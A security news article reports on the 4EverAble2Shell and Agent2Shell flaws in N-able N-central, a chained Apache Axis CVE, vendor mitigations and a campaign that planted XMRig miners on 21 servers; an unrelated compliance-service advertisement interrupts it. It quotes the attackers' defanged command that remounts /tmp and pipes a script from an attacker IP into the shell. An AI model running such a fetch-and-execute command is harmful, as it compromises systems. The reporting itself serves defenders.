"We are restricting certain N-central features and integrations," N-able said, acknowledging steps taken after public disclosure of the vulnerabilities now tracked as 4EverAble2Shell and Agent2Shell.
N-able's immediate mitigations and customer guidance
N-able said it has turned off the Legacy API by default in its hosted N-central environments and disabled the Intune integration while it implements and validates additional protections. The company urged hosted customers to upgrade Agents and Probes to N-central version 2026.4 HF1 or later, saying the HF1 update "updates legacy components of the Agent and Probe, which changes how the two communicate" and that upgrading both is "a MUST to ensure all managed devices are communicating and patched." On-premises customers were likewise urged to upgrade Agents and Probes and to ensure Legacy API access is disabled if previously enabled.
Two disclosed vulnerabilities: 4EverAble2Shell and Agent2Shell
Independent security researcher Sean Bales publicly disclosed two sets of flaws named 4EverAble2Shell and Agent2Shell. According to multiple threat intelligence reports cited in N-able's update and subsequent analysis, the flaws can allow attackers to execute arbitrary code as root and to obtain SYSTEM-level access to Windows systems under specific conditions.
Audit-ready is a season. It shouldn't be.
Evidence in spreadsheets, controls drifting between audits, frameworks multiplying on flat headcount. Nubivance runs continuous compliance on Rapid7 Cyber GRC - SOC 2, HIPAA, ISO 27001, PCI, CMMC.
End the scrambleHow the Apache Axis CVE and N-central weaknesses are chained
Threat intelligence firms report that attackers have chained a critical Apache Axis vulnerability, identified as CVE-2026-90436 (CVSS 9.8), with a separate N-central privilege escalation weakness to reach root-level access. Previdian, tracking the issue as VULN-2026-0009, described the chain as exploiting "unsafe class instantiation during SOAP fault processing in the bundled Apache Axis component." A crafted request causes an attacker-selected JLine class to process malicious input, producing command execution as the nable service account; the chain then leverages a further escalation to obtain root on affected hosts.
Observed exploitation: shell script, a single payload, and global victims
Threat intelligence and incident analysis from Huntback indicate that attackers moved beyond reconnaissance to active exploitation. The observed exploit chain attempts to download and execute a shell script named "jup.sh" from an attacker-controlled server at 157.20.241[.]16. Huntback documented the exact execution pattern used on compromised N-central servers:
- mount -o remount,exec /tmp 2>/dev/null; curl -fsSL hxxp://157.20.241[.]16:8080/jup.sh | sh -s nc_[target-IP-redacted]
Huntback reported the payload as an XMRig Monero cryptocurrency miner deployed on 21 N-central servers. The miner was configured to use only half of the available CPU cores, a behavior the analysts suggested was likely intended to reduce detection. The compromised servers are concentrated across the United States, South Africa, Canada, the United Kingdom, Germany, France, and Sweden.
Huntback warned: "The miner is the only payload we have seen, but the escalation hands the operator root on a host that manages your customers' endpoints," and counseled defenders to "Treat a hit as a full compromise, not a cleanup job. Applying Hotfix 2 is not enough on its own: 19 of the victims here were already running it."
What this means for hosted customers, on‑premises customers, and security teams
- Hosted customers: Follow N-able's instructions to ensure Legacy API is disabled, and apply the 2026.4 HF1 upgrades for both Agents and Probes as required for continued device management and patching.
- On‑premises customers: Upgrade Agents and Probes, verify Legacy API status, and assume that an exploit granting root on a host that manages endpoints constitutes a full compromise that may require broad remediation.
- Security teams and incident responders: Treat observed infections as full compromises rather than simple coin-miner cleanup; note that 19 of the 21 observed victims were already running Hotfix 2, indicating that applying that hotfix alone may not be sufficient.
N-able said its teams are "actively assessing the new disclosures, developing additional remediation, and working to safely restore affected functionality," and emphasized that protecting partners and customers remains its highest priority. The concrete details assembled by threat analysts — a public Apache Axis CVE with a critical score, a specific attacker IP and scripted payload, and evidence of active exploitation across multiple countries — underscore why N-able has temporarily restricted features while it completes remediation.
For now, the record is definitive on three points from the available reporting: the flaws exist and were publicly disclosed; attackers have weaponized the chain to deploy an XMRig miner on at least 21 servers; and patching or hotfixing alone has not prevented all observed compromises. The company's next steps — the remediations it develops and the timetable for restoring affected integrations — will determine whether those mitigations succeed in stopping further exploitation.
